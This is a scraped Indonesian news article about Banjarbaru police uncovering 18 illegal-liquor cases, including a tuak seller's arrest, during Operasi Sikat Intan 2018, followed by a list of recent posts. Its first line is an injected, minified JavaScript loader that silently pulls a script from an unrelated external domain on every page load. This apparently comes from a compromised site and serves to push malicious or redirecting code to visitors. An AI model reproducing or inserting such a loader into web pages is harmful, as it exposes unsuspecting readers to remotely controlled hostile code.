(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

4 Hari Operasi Sikat Intan, Polres Banjarbaru Ungkap 18 Kasus Miras


BANJARBARU, Empat hari semenjak berlangsungnya Operasi Sikat Intan 2018 yang digelar Polres Banjarbaru, sebanyak 18 kasus miras berhasil diungkap. Salah satunya, kasus penangkapan penjual dan pembeli  tuak di Toko Damon, Jalan Pondok Empat RT 019/ RW O08, Kelurahan Loktabat Utara Kecamatan Banjarbaru Utara.

Penjual tuak bernama Josua Manalu (30) dan pembeli bernama Rahmadi (26), berhasil diringkus petugas dari Polsek Banjarbaru Kota. Kapolsek Banjarbaru Kota Kompol Purbo Raharjo mengatakan,  penggerebekan dilakukan pada Minggu (15/4) lalu.

Pada kasus ini, polisi lebih dulu menemukan pemuda bernama Rahmadi yang asyik menikmati air tuak. Polisi mengamankan  Rahmadi untuk dilakukan pemeriksaan. Kepada polisi, Rahmadi mengatakan membeli tuak di Toko Damon.

“Dari informasi tersebut kami langsung menuju lokasi dan berhasil menemukan 2 buah jerigen 20 liter dalam keadaan kosong yang diduga digunakan untuk menyimpan minuman tuak,” ungkap Kompol Purbo Raharjo.

Selain itu, polisi mengamankan uang hasil penjualan Tuak sebesar Rp 235.000 dan 1 ( satu ) kantong plastik berisi tuak 1 liter. Saat ini Josua dan pembeli bernama Rahmadi beserta barang buktinya sudah dibawa ke Mapolsek Banjarbaru Kota untuk dilakukan pemeriksaan. “Kami kenakan pasal Tipiring yang mana barang bukti dan tersangka akan langsung dilakukan sidang di Pengadilan Negeri Banjarbaru,” jelas Kapolsek.

Sementara itu Kapolres Banjarbaru AKBP Kelana Jaya saat di temui di Mapolres Banjarbaru menjelaskan, Operasi Sikat Intan 2018 digelar dari tanggal 12 April-25 April 2018. “Adapun untuk targetnya meliputi kekerasan jalanan, judi togel, sajam, narkoba, UU Kesehatan, illegal loging, tipiring minuman keras dan lalu lintas,” tegas AKBP Kelana Jaya.

“Dalam Operasi Sikat Intan 2018 yang sudah berjalan selama 4 hari ini, Polres Banjarbaru sudah berhasil mengungkap tindak pidana ringan berupa minuman keras yang ada di kota banjarbaru sebanyak 18 kasus dengan tersangka sebanyak 18 orang”, tambahnya.(rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

3 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

4 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

6 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

7 jam ago

This website uses cookies.